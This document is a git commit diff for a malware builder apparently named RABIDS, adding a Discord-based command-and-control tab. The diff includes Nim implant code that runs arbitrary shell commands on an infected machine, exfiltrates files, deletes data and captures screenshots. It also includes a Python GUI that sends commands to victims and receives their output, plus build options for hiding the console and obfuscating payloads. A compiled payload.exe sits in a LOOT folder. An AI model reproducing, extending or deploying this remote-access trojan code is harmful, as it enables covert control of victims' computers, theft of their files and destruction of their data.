Added C2 TAB
This commit is contained in:
BIN
ASSETS/c2.png
Normal file
BIN
ASSETS/c2.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 82 KiB |
BIN
LOOT/payload.exe
BIN
LOOT/payload.exe
Binary file not shown.
@ -61,7 +61,8 @@ proc sendFile(channelId: string, filePath: string, fileName: string): Future[voi
|
|||||||
files = @[DiscordFile(name: fileName, body: fileContent)]
|
files = @[DiscordFile(name: fileName, body: fileContent)]
|
||||||
)
|
)
|
||||||
|
|
||||||
proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
|
proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
|
||||||
|
let cmd = rawCmd.strip()
|
||||||
if cmd == "!dir" or cmd == "!ls":
|
if cmd == "!dir" or cmd == "!ls":
|
||||||
when defined(windows):
|
when defined(windows):
|
||||||
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
|
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
|
||||||
@ -77,7 +78,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
return output
|
return output
|
||||||
|
|
||||||
elif cmd.startsWith("!cd "):
|
elif cmd.startsWith("!cd "):
|
||||||
let newDir = cmd[4..^1].strip()
|
let newDir = cmd[3..^1].strip()
|
||||||
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
|
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
|
||||||
if dirExists(targetDir):
|
if dirExists(targetDir):
|
||||||
setCurrentDir(targetDir)
|
setCurrentDir(targetDir)
|
||||||
@ -86,7 +87,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
else:
|
else:
|
||||||
return "directory not found: " & targetDir
|
return "directory not found: " & targetDir
|
||||||
|
|
||||||
elif cmd == "!upload":
|
elif cmd.startsWith("!upload"):
|
||||||
if m.attachments.len == 0:
|
if m.attachments.len == 0:
|
||||||
return "no file attached. Please send a file with the !upload command."
|
return "no file attached. Please send a file with the !upload command."
|
||||||
else:
|
else:
|
||||||
@ -101,8 +102,8 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
except CatchableError as e:
|
except CatchableError as e:
|
||||||
return "failed to download file: " & e.msg
|
return "failed to download file: " & e.msg
|
||||||
|
|
||||||
elif cmd.startsWith("!download "):
|
elif cmd.startsWith("!!download "):
|
||||||
let fileName = cmd[10..^1].strip()
|
let fileName = cmd[9..^1].strip()
|
||||||
let filePath = os.joinPath(currentDir, fileName)
|
let filePath = os.joinPath(currentDir, fileName)
|
||||||
if fileExists(filePath):
|
if fileExists(filePath):
|
||||||
await sendFile(m.channel_id, filePath, fileName)
|
await sendFile(m.channel_id, filePath, fileName)
|
||||||
@ -110,8 +111,8 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
else:
|
else:
|
||||||
return "file not found: " & filePath
|
return "file not found: " & filePath
|
||||||
|
|
||||||
elif cmd.startsWith("!mkdir "):
|
elif cmd.startsWith("!!mkdir "):
|
||||||
let dirName = cmd[7..^1].strip()
|
let dirName = cmd[6..^1].strip()
|
||||||
let dirPath = os.joinPath(currentDir, dirName)
|
let dirPath = os.joinPath(currentDir, dirName)
|
||||||
try:
|
try:
|
||||||
createDir(dirPath)
|
createDir(dirPath)
|
||||||
@ -120,7 +121,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
return e.msg
|
return e.msg
|
||||||
|
|
||||||
elif cmd.startsWith("!touch "):
|
elif cmd.startsWith("!touch "):
|
||||||
let fileName = cmd[7..^1].strip()
|
let fileName = cmd[6..^1].strip()
|
||||||
let filePath = os.joinPath(currentDir, fileName)
|
let filePath = os.joinPath(currentDir, fileName)
|
||||||
try:
|
try:
|
||||||
writeFile(filePath, "")
|
writeFile(filePath, "")
|
||||||
@ -129,7 +130,7 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
return e.msg
|
return e.msg
|
||||||
|
|
||||||
elif cmd.startsWith("!rm "):
|
elif cmd.startsWith("!rm "):
|
||||||
let target = cmd[4..^1].strip()
|
let target = cmd[3..^1].strip()
|
||||||
let path = os.joinPath(currentDir, target)
|
let path = os.joinPath(currentDir, target)
|
||||||
if fileExists(path):
|
if fileExists(path):
|
||||||
try:
|
try:
|
||||||
@ -140,13 +141,13 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
elif dirExists(path):
|
elif dirExists(path):
|
||||||
try:
|
try:
|
||||||
removeDir(path)
|
removeDir(path)
|
||||||
return "deleted directory: " & path
|
return "deleted directory: " & path
|
||||||
except CatchableError as e:
|
except CatchableError as e:
|
||||||
return e.msg
|
return e.msg
|
||||||
else:
|
else:
|
||||||
return "no such file or directory: " & path
|
return "no such file or directory: " & path
|
||||||
|
|
||||||
elif cmd == "!screencapture":
|
elif cmd == "!!screencapture":
|
||||||
when defined(macosx):
|
when defined(macosx):
|
||||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
|
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
|
||||||
let filePath = os.joinPath(currentDir, fileName)
|
let filePath = os.joinPath(currentDir, fileName)
|
||||||
@ -180,14 +181,14 @@ proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string]
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
|
let command = cmd[1..^1]
|
||||||
when defined(macosx):
|
when defined(macosx):
|
||||||
let command = cmd[1..^1]
|
|
||||||
return await runCommandWithTimeoutKill(command, 60000)
|
return await runCommandWithTimeoutKill(command, 60000)
|
||||||
elif defined(windows):
|
elif defined(windows):
|
||||||
let command = "cmd /c " & cmd[1..^1]
|
let command = "cmd /c " & command
|
||||||
return await runCommandWithTimeoutKill(command, 60000)
|
return await runCommandWithTimeoutKill(command, 60000)
|
||||||
else:
|
else:
|
||||||
return "unsupported platform for command execution."
|
return "unsupported platform for direct command execution."
|
||||||
except CatchableError as e:
|
except CatchableError as e:
|
||||||
return "error running command: " & e.msg
|
return "error running command: " & e.msg
|
||||||
|
|
||||||
@ -208,40 +209,37 @@ proc getHostname(): string =
|
|||||||
var machineName = getEnv("MACHINE_NAME", getHostname())
|
var machineName = getEnv("MACHINE_NAME", getHostname())
|
||||||
|
|
||||||
proc onReady(s: Shard, r: Ready) {.event(discord).} =
|
proc onReady(s: Shard, r: Ready) {.event(discord).} =
|
||||||
let dm = await discord.api.createUserDm(creatorId)
|
try:
|
||||||
if machineName notin sessionRegistry:
|
let dm = await discord.api.createUserDm(creatorId)
|
||||||
sessionRegistry.add(machineName)
|
if machineName notin sessionRegistry:
|
||||||
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
|
sessionRegistry.add(machineName)
|
||||||
|
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
|
||||||
|
except:
|
||||||
|
echo "Could not send startup message to creator ID: ", creatorId
|
||||||
|
|
||||||
proc messageCreate(s: Shard, m: Message) {.event(discord).} =
|
proc messageCreate(s: Shard, m: Message) {.event(discord).} =
|
||||||
if m.author.bot: return
|
|
||||||
|
|
||||||
var client = newHttpClient()
|
var client = newHttpClient()
|
||||||
let content = m.content.strip()
|
let content = m.content.strip()
|
||||||
|
echo "Processing command: ", content
|
||||||
|
|
||||||
if content == "!sessions":
|
if content == "!sessions":
|
||||||
let sessionList = if sessionRegistry.len == 0: "no active sessions." else: sessionRegistry.join("\n")
|
let sessionList = if sessionRegistry.len == 0: "No active sessions." else: sessionRegistry.join("\n")
|
||||||
discard await sendMessage(m.channel_id, sessionList)
|
discard await sendMessage(m.channel_id, sessionList)
|
||||||
return
|
return
|
||||||
|
elif content == "!ping":
|
||||||
if content.startsWith("!" & machineName & " "):
|
|
||||||
let cmd = content[(machineName.len + 2)..^1].strip()
|
|
||||||
echo cmd
|
|
||||||
try:
|
|
||||||
let output = await handleCommand(cmd, m, client)
|
|
||||||
discard await sendMessage(m.channel_id, output)
|
|
||||||
except CatchableError as e:
|
|
||||||
discard await sendMessage(m.channel_id, e.msg)
|
|
||||||
return
|
|
||||||
|
|
||||||
if content == "!ping":
|
|
||||||
let before = epochTime() * 1000
|
let before = epochTime() * 1000
|
||||||
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
|
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
|
||||||
let after = epochTime() * 1000
|
let after = epochTime() * 1000
|
||||||
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
|
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
|
||||||
|
return
|
||||||
|
|
||||||
|
if content.startsWith("!"):
|
||||||
|
try:
|
||||||
|
let output = await handleCommand(content, m, client)
|
||||||
|
discard await sendMessage(m.channel_id, output)
|
||||||
|
except CatchableError as e:
|
||||||
|
echo "Error executing command: ", e.msg
|
||||||
|
discard await sendMessage(m.channel_id, e.msg)
|
||||||
|
|
||||||
proc main() =
|
proc main() =
|
||||||
when isMainModule:
|
waitFor discord.startSession()
|
||||||
waitFor discord.startSession()
|
|
||||||
else:
|
|
||||||
discard
|
|
||||||
@ -448,12 +448,12 @@ def main():
|
|||||||
for const_name, dll_name in MODULE_DLLS[normalized_path].items():
|
for const_name, dll_name in MODULE_DLLS[normalized_path].items():
|
||||||
dll_path = dll_source_dir / dll_name
|
dll_path = dll_source_dir / dll_name
|
||||||
if dll_path.exists():
|
if dll_path.exists():
|
||||||
dll_content = dll_path.read_bytes()
|
|
||||||
if not args.nim_only and target_os == 'windows':
|
if not args.nim_only and target_os == 'windows':
|
||||||
print(f"[*] Queuing {dll_name} for Rust wrapper embedding.")
|
print(f"[*] Queuing {dll_name} for Rust wrapper embedding.")
|
||||||
embedded_files_for_rust[dll_name] = dll_content
|
embedded_files_for_rust[dll_name] = dll_path.read_bytes()
|
||||||
else:
|
else:
|
||||||
print(f"[*] Embedding {dll_name} as base64 for {Path(module_path).name}")
|
print(f"[*] Embedding {dll_name} as base64 for {Path(module_path).name}")
|
||||||
|
dll_content = dll_path.read_bytes()
|
||||||
b64_content = base64.b64encode(dll_content).decode('utf-8')
|
b64_content = base64.b64encode(dll_content).decode('utf-8')
|
||||||
nim_options.append(f"{const_name}={b64_content}")
|
nim_options.append(f"{const_name}={b64_content}")
|
||||||
|
|
||||||
|
|||||||
414
main.py
414
main.py
@ -1,6 +1,7 @@
|
|||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
from functools import partial
|
from functools import partial
|
||||||
|
import re
|
||||||
import shlex
|
import shlex
|
||||||
import subprocess
|
import subprocess
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
@ -13,7 +14,7 @@ from PyQt5.QtWidgets import (
|
|||||||
)
|
)
|
||||||
import json
|
import json
|
||||||
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
|
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
|
||||||
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject
|
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer
|
||||||
import discord
|
import discord
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|
||||||
@ -126,11 +127,11 @@ class DiscordListener(QObject):
|
|||||||
|
|
||||||
@self.client.event
|
@self.client.event
|
||||||
async def on_message(message):
|
async def on_message(message):
|
||||||
if message.author == self.client.user:
|
is_dm = isinstance(message.channel, discord.DMChannel)
|
||||||
return
|
is_from_creator = self.creator_id and str(message.author.id) == self.creator_id
|
||||||
|
|
||||||
content = message.content
|
if is_dm and is_from_creator:
|
||||||
self.process_encryption_message(content)
|
self.process_encryption_message(message.content)
|
||||||
|
|
||||||
async def fetch_history(self, user):
|
async def fetch_history(self, user):
|
||||||
"""Fetches and processes historical messages from a user."""
|
"""Fetches and processes historical messages from a user."""
|
||||||
@ -153,6 +154,83 @@ class DiscordListener(QObject):
|
|||||||
if self.client:
|
if self.client:
|
||||||
await self.client.close()
|
await self.client.close()
|
||||||
|
|
||||||
|
class DiscordC2Client(QObject):
|
||||||
|
"""Handles Discord connection and communication for the C2 tab."""
|
||||||
|
log_message = pyqtSignal(str, str)
|
||||||
|
connection_status = pyqtSignal(bool)
|
||||||
|
|
||||||
|
def __init__(self, token, target_user_id):
|
||||||
|
super().__init__()
|
||||||
|
self.token = token
|
||||||
|
self.target_user_id = target_user_id
|
||||||
|
self.target_user = None
|
||||||
|
intents = discord.Intents.default()
|
||||||
|
intents.messages = True
|
||||||
|
intents.dm_messages = True
|
||||||
|
intents.message_content = True
|
||||||
|
self.client = discord.Client(intents=intents)
|
||||||
|
|
||||||
|
@self.client.event
|
||||||
|
async def on_ready():
|
||||||
|
self.log_message.emit(f"C2 client logged in as {self.client.user}", "success")
|
||||||
|
try:
|
||||||
|
self.target_user = await self.client.fetch_user(int(self.target_user_id))
|
||||||
|
self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success")
|
||||||
|
self.connection_status.emit(True)
|
||||||
|
except (ValueError, discord.NotFound):
|
||||||
|
self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error")
|
||||||
|
await self.stop_client()
|
||||||
|
except discord.Forbidden:
|
||||||
|
self.log_message.emit("Bot does not have permission to fetch user.", "error")
|
||||||
|
await self.stop_client()
|
||||||
|
|
||||||
|
@self.client.event
|
||||||
|
async def on_message(message):
|
||||||
|
is_dm = isinstance(message.channel, discord.DMChannel)
|
||||||
|
|
||||||
|
if is_dm:
|
||||||
|
content = message.content.strip()
|
||||||
|
if content:
|
||||||
|
if content.startswith("```") and content.endswith("```"):
|
||||||
|
content = re.sub(r"```(plaintext\n)?|```", "", content).strip()
|
||||||
|
self.log_message.emit(content, "c2_recv")
|
||||||
|
if message.attachments:
|
||||||
|
for attachment in message.attachments:
|
||||||
|
self.log_message.emit(f"Received file: <a href='{attachment.url}'>{attachment.filename}</a>", "c2_recv")
|
||||||
|
|
||||||
|
async def send_dm(self, content):
|
||||||
|
if self.target_user:
|
||||||
|
try:
|
||||||
|
sent_content = content.strip()
|
||||||
|
await self.target_user.send(sent_content)
|
||||||
|
self.log_message.emit(sent_content, "c2_sent")
|
||||||
|
return True
|
||||||
|
except discord.Forbidden:
|
||||||
|
self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
self.log_message.emit(f"Failed to send DM: {str(e)}", "error")
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
self.log_message.emit("Not connected to a target user.", "error")
|
||||||
|
return False
|
||||||
|
|
||||||
|
async def run_client(self):
|
||||||
|
try:
|
||||||
|
await self.client.start(self.token)
|
||||||
|
except discord.LoginFailure:
|
||||||
|
self.log_message.emit("C2 client login failed. Check the token.", "error")
|
||||||
|
self.connection_status.emit(False)
|
||||||
|
except Exception as e:
|
||||||
|
self.log_message.emit(f"C2 client error: {str(e)}", "error")
|
||||||
|
self.connection_status.emit(False)
|
||||||
|
|
||||||
|
async def stop_client(self):
|
||||||
|
if self.client and self.client.is_ready():
|
||||||
|
await self.client.close()
|
||||||
|
self.log_message.emit("C2 client disconnected.", "system")
|
||||||
|
self.connection_status.emit(False)
|
||||||
|
|
||||||
class BuildThread(QThread):
|
class BuildThread(QThread):
|
||||||
log_signal = pyqtSignal(str, str)
|
log_signal = pyqtSignal(str, str)
|
||||||
finished_signal = pyqtSignal(int)
|
finished_signal = pyqtSignal(int)
|
||||||
@ -229,6 +307,34 @@ class DiscordListenerThread(QThread):
|
|||||||
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
|
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
|
||||||
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
|
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
|
||||||
|
|
||||||
|
class C2Thread(QThread):
|
||||||
|
"""Runs the Discord C2 client in a separate thread."""
|
||||||
|
log_message = pyqtSignal(str, str)
|
||||||
|
connection_status = pyqtSignal(bool)
|
||||||
|
|
||||||
|
def __init__(self, token, target_user_id):
|
||||||
|
super().__init__()
|
||||||
|
self.token = token
|
||||||
|
self.target_user_id = target_user_id
|
||||||
|
self.c2_client = None
|
||||||
|
self.loop = None
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.loop = asyncio.new_event_loop()
|
||||||
|
asyncio.set_event_loop(self.loop)
|
||||||
|
self.c2_client = DiscordC2Client(self.token, self.target_user_id)
|
||||||
|
self.c2_client.log_message.connect(self.log_message)
|
||||||
|
self.c2_client.connection_status.connect(self.connection_status)
|
||||||
|
self.loop.run_until_complete(self.c2_client.run_client())
|
||||||
|
|
||||||
|
def send_message(self, content):
|
||||||
|
if self.loop and self.c2_client and self.c2_client.client.is_ready():
|
||||||
|
asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop)
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
if self.loop and self.c2_client:
|
||||||
|
asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop)
|
||||||
|
|
||||||
class ModuleTableWidget(QTableWidget):
|
class ModuleTableWidget(QTableWidget):
|
||||||
"""A QTableWidget that supports drag-and-drop row reordering."""
|
"""A QTableWidget that supports drag-and-drop row reordering."""
|
||||||
reorder_signal = pyqtSignal(list)
|
reorder_signal = pyqtSignal(list)
|
||||||
@ -272,6 +378,7 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.loading_movie = None
|
self.loading_movie = None
|
||||||
self.build_thread = None
|
self.build_thread = None
|
||||||
self.discord_thread = None
|
self.discord_thread = None
|
||||||
|
self.c2_thread = None
|
||||||
self.option_inputs = {}
|
self.option_inputs = {}
|
||||||
self.current_option_values = {}
|
self.current_option_values = {}
|
||||||
self.module_options_group = None
|
self.module_options_group = None
|
||||||
@ -287,7 +394,8 @@ class RABIDSGUI(QMainWindow):
|
|||||||
}
|
}
|
||||||
QPushButton {
|
QPushButton {
|
||||||
background-color: #1D1D1F;
|
background-color: #1D1D1F;
|
||||||
padding: 8px;
|
padding: 6px;
|
||||||
|
font-size: 10pt;
|
||||||
border-radius: 10px;
|
border-radius: 10px;
|
||||||
}
|
}
|
||||||
QPushButton:hover {
|
QPushButton:hover {
|
||||||
@ -368,55 +476,66 @@ class RABIDSGUI(QMainWindow):
|
|||||||
scroll_area.setWidget(scroll_content_widget)
|
scroll_area.setWidget(scroll_content_widget)
|
||||||
module_options_group_layout.addWidget(scroll_area)
|
module_options_group_layout.addWidget(scroll_area)
|
||||||
left_layout.addWidget(self.module_options_group, stretch=7)
|
left_layout.addWidget(self.module_options_group, stretch=7)
|
||||||
|
|
||||||
|
# --- Global Build Options ---
|
||||||
|
build_options_group = QGroupBox("BUILD OPTIONS")
|
||||||
|
build_options_group.setFont(title_font)
|
||||||
|
build_options_layout = QVBoxLayout(build_options_group)
|
||||||
|
build_options_layout.setSpacing(10)
|
||||||
|
|
||||||
options_row1 = QHBoxLayout()
|
# EXE Name
|
||||||
self.hide_console_check = QCheckBox("HIDE CONSOLE")
|
exe_name_layout = QHBoxLayout()
|
||||||
self.hide_console_check.setFont(subtitle_font)
|
|
||||||
self.hide_console_check.setChecked(True)
|
|
||||||
self.obfuscate_check = QCheckBox("OBFUSCATE")
|
|
||||||
self.obfuscate_check.setFont(subtitle_font)
|
|
||||||
self.obfuscate_check.setChecked(False)
|
|
||||||
self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
|
|
||||||
self.ollvm_input = QLineEdit("")
|
|
||||||
self.ollvm_input.setFont(subtitle_font)
|
|
||||||
options_row1.addWidget(self.hide_console_check)
|
|
||||||
options_row1.addWidget(self.obfuscate_check)
|
|
||||||
options_row1.addWidget(self.ollvm_input, 1)
|
|
||||||
left_layout.addLayout(options_row1)
|
|
||||||
|
|
||||||
options_row2 = QHBoxLayout()
|
|
||||||
exe_name_label = QLabel("EXE NAME")
|
exe_name_label = QLabel("EXE NAME")
|
||||||
exe_name_label.setFont(subtitle_font)
|
exe_name_label.setFont(subtitle_font)
|
||||||
self.exe_name_input = QLineEdit("payload")
|
self.exe_name_input = QLineEdit("payload")
|
||||||
self.exe_name_input.setFont(subtitle_font)
|
self.exe_name_input.setFont(subtitle_font)
|
||||||
options_row2.addWidget(exe_name_label)
|
exe_name_layout.addWidget(exe_name_label)
|
||||||
options_row2.addWidget(self.exe_name_input, 1)
|
exe_name_layout.addWidget(self.exe_name_input, 1)
|
||||||
|
|
||||||
|
# OS and Arch
|
||||||
target_os_label = QLabel("OS")
|
target_os_label = QLabel("OS")
|
||||||
target_os_label.setFont(subtitle_font)
|
target_os_label.setFont(subtitle_font)
|
||||||
self.target_os_combo = QComboBox()
|
self.target_os_combo = QComboBox()
|
||||||
self.target_os_combo.addItems(["windows", "linux", "macos"])
|
self.target_os_combo.addItems(["windows", "linux", "macos"])
|
||||||
self.target_os_combo.setFont(subtitle_font)
|
self.target_os_combo.setFont(subtitle_font)
|
||||||
self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options)
|
self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options)
|
||||||
options_row2.addWidget(target_os_label)
|
exe_name_layout.addWidget(target_os_label)
|
||||||
options_row2.addWidget(self.target_os_combo, 1)
|
exe_name_layout.addWidget(self.target_os_combo, 1)
|
||||||
|
|
||||||
target_arch_label = QLabel("PROCESSOR")
|
target_arch_label = QLabel("PROCESSOR")
|
||||||
target_arch_label.setFont(subtitle_font)
|
target_arch_label.setFont(subtitle_font)
|
||||||
self.target_arch_combo = QComboBox()
|
self.target_arch_combo = QComboBox()
|
||||||
self.target_arch_combo.addItems(["amd64", "arm64"])
|
self.target_arch_combo.addItems(["amd64", "arm64"])
|
||||||
self.target_arch_combo.setFont(subtitle_font)
|
self.target_arch_combo.setFont(subtitle_font)
|
||||||
options_row2.addWidget(target_arch_label)
|
exe_name_layout.addWidget(target_arch_label)
|
||||||
options_row2.addWidget(self.target_arch_combo, 1)
|
exe_name_layout.addWidget(self.target_arch_combo, 1)
|
||||||
left_layout.addLayout(options_row2)
|
build_options_layout.addLayout(exe_name_layout)
|
||||||
|
|
||||||
|
# Windows-specific options
|
||||||
|
win_options_layout = QHBoxLayout()
|
||||||
|
self.hide_console_check = QCheckBox("HIDE CONSOLE")
|
||||||
|
self.hide_console_check.setFont(subtitle_font)
|
||||||
|
self.hide_console_check.setChecked(True)
|
||||||
|
win_options_layout.addWidget(self.hide_console_check)
|
||||||
|
|
||||||
|
self.obfuscate_check = QCheckBox("OBFUSCATE")
|
||||||
|
self.obfuscate_check.setFont(subtitle_font)
|
||||||
|
self.obfuscate_check.setChecked(False)
|
||||||
|
self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
|
||||||
|
win_options_layout.addWidget(self.obfuscate_check)
|
||||||
|
|
||||||
|
self.ollvm_input = QLineEdit("")
|
||||||
|
self.ollvm_input.setPlaceholderText("e.g., -fla -sub -bcf")
|
||||||
|
self.ollvm_input.setFont(subtitle_font)
|
||||||
|
win_options_layout.addWidget(self.ollvm_input, 1)
|
||||||
|
build_options_layout.addLayout(win_options_layout)
|
||||||
|
|
||||||
|
left_layout.addWidget(build_options_group)
|
||||||
|
|
||||||
build_btn_layout = QHBoxLayout()
|
build_btn_layout = QHBoxLayout()
|
||||||
build_btn_layout.addStretch()
|
|
||||||
self.build_btn = QPushButton("BUILD")
|
self.build_btn = QPushButton("BUILD")
|
||||||
self.build_btn.setFont(subtitle_font)
|
self.build_btn.setFont(subtitle_font)
|
||||||
self.build_btn.clicked.connect(self.run_compiler)
|
self.build_btn.clicked.connect(self.run_compiler)
|
||||||
build_btn_layout.addWidget(self.build_btn)
|
build_btn_layout.addWidget(self.build_btn)
|
||||||
build_btn_layout.addStretch()
|
|
||||||
left_layout.addLayout(build_btn_layout)
|
left_layout.addLayout(build_btn_layout)
|
||||||
|
|
||||||
banner_layout = QHBoxLayout()
|
banner_layout = QHBoxLayout()
|
||||||
@ -431,7 +550,6 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.banner_label.setAlignment(Qt.AlignCenter)
|
self.banner_label.setAlignment(Qt.AlignCenter)
|
||||||
banner_layout.addWidget(self.banner_label, stretch=1)
|
banner_layout.addWidget(self.banner_label, stretch=1)
|
||||||
left_layout.addLayout(banner_layout)
|
left_layout.addLayout(banner_layout)
|
||||||
|
|
||||||
builder_layout.addLayout(left_layout, 6)
|
builder_layout.addLayout(left_layout, 6)
|
||||||
|
|
||||||
right_layout = QVBoxLayout()
|
right_layout = QVBoxLayout()
|
||||||
@ -445,7 +563,6 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.module_combo.addItem("SELECT MODULE")
|
self.module_combo.addItem("SELECT MODULE")
|
||||||
for module in MODULES.keys():
|
for module in MODULES.keys():
|
||||||
self.module_combo.addItem(module.split('/')[-1])
|
self.module_combo.addItem(module.split('/')[-1])
|
||||||
self.module_combo.currentTextChanged.connect(self.update_module_description)
|
|
||||||
self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
|
self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
|
||||||
module_select_layout.addWidget(self.module_combo)
|
module_select_layout.addWidget(self.module_combo)
|
||||||
|
|
||||||
@ -454,16 +571,8 @@ class RABIDSGUI(QMainWindow):
|
|||||||
self.add_module_btn.setFont(subtitle_font)
|
self.add_module_btn.setFont(subtitle_font)
|
||||||
self.add_module_btn.clicked.connect(self.add_module)
|
self.add_module_btn.clicked.connect(self.add_module)
|
||||||
module_buttons_layout.addWidget(self.add_module_btn)
|
module_buttons_layout.addWidget(self.add_module_btn)
|
||||||
module_buttons_layout.addStretch()
|
|
||||||
module_select_layout.addLayout(module_buttons_layout)
|
module_select_layout.addLayout(module_buttons_layout)
|
||||||
right_layout.addLayout(module_select_layout)
|
right_layout.addLayout(module_select_layout)
|
||||||
self.module_desc_label = QLabel("Select a module to view its description")
|
|
||||||
self.module_desc_label.setFont(subtitle_font)
|
|
||||||
self.module_desc_label.setStyleSheet("color: #F4A87C;")
|
|
||||||
self.module_desc_label.setWordWrap(True)
|
|
||||||
self.module_desc_label.setMaximumWidth(400)
|
|
||||||
self.module_desc_label.setFixedHeight(40)
|
|
||||||
right_layout.addWidget(self.module_desc_label)
|
|
||||||
|
|
||||||
module_chain_label = QLabel("MODULE CHAIN")
|
module_chain_label = QLabel("MODULE CHAIN")
|
||||||
module_chain_label.setFont(title_font)
|
module_chain_label.setFont(title_font)
|
||||||
@ -597,7 +706,6 @@ class RABIDSGUI(QMainWindow):
|
|||||||
|
|
||||||
restore_btn = QPushButton("Restore")
|
restore_btn = QPushButton("Restore")
|
||||||
restore_btn.setFont(subtitle_font)
|
restore_btn.setFont(subtitle_font)
|
||||||
restore_btn.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
|
|
||||||
restore_btn.clicked.connect(self.run_garbage_collector_restore)
|
restore_btn.clicked.connect(self.run_garbage_collector_restore)
|
||||||
restore_options_layout.addWidget(restore_btn)
|
restore_options_layout.addWidget(restore_btn)
|
||||||
restore_options_layout.addStretch()
|
restore_options_layout.addStretch()
|
||||||
@ -718,38 +826,17 @@ class RABIDSGUI(QMainWindow):
|
|||||||
live_devices_desc_label.setWordWrap(True)
|
live_devices_desc_label.setWordWrap(True)
|
||||||
left_column_layout.addWidget(live_devices_desc_label)
|
left_column_layout.addWidget(live_devices_desc_label)
|
||||||
|
|
||||||
listener_layout = QHBoxLayout()
|
listener_controls_layout = QHBoxLayout()
|
||||||
listener_label = QLabel("BOT TOKEN ")
|
|
||||||
listener_label.setFont(subtitle_font)
|
|
||||||
listener_label.setStyleSheet("color: #f7f294;")
|
|
||||||
|
|
||||||
self.listener_token_edit = QLineEdit()
|
|
||||||
self.listener_token_edit.setPlaceholderText("Enter your GUI's Discord bot token here")
|
|
||||||
self.listener_token_edit.setFont(subtitle_font)
|
|
||||||
|
|
||||||
creator_id_label = QLabel("USER ID ")
|
|
||||||
creator_id_label.setFont(subtitle_font)
|
|
||||||
creator_id_label.setStyleSheet("color: #f7f294;")
|
|
||||||
|
|
||||||
self.listener_creator_id_edit = QLineEdit()
|
|
||||||
self.listener_creator_id_edit.setPlaceholderText("Enter your Discord User ID for DMs")
|
|
||||||
self.listener_creator_id_edit.setFont(subtitle_font)
|
|
||||||
|
|
||||||
self.toggle_listener_btn = QPushButton("Connect")
|
self.toggle_listener_btn = QPushButton("Connect")
|
||||||
self.toggle_listener_btn.setFont(subtitle_font)
|
self.toggle_listener_btn.setFont(subtitle_font)
|
||||||
self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener)
|
self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener)
|
||||||
|
|
||||||
self.refresh_listener_btn = QPushButton("⟳ Refresh")
|
self.refresh_listener_btn = QPushButton("⟳ Refresh")
|
||||||
self.refresh_listener_btn.setFont(subtitle_font)
|
self.refresh_listener_btn.setFont(subtitle_font)
|
||||||
self.refresh_listener_btn.clicked.connect(self.refresh_discord_listener)
|
self.refresh_listener_btn.clicked.connect(self.refresh_discord_listener)
|
||||||
|
listener_controls_layout.addStretch()
|
||||||
listener_layout.addWidget(listener_label)
|
listener_controls_layout.addWidget(self.refresh_listener_btn)
|
||||||
listener_layout.addWidget(self.listener_token_edit, 1)
|
listener_controls_layout.addWidget(self.toggle_listener_btn)
|
||||||
listener_layout.addWidget(creator_id_label)
|
left_column_layout.addLayout(listener_controls_layout)
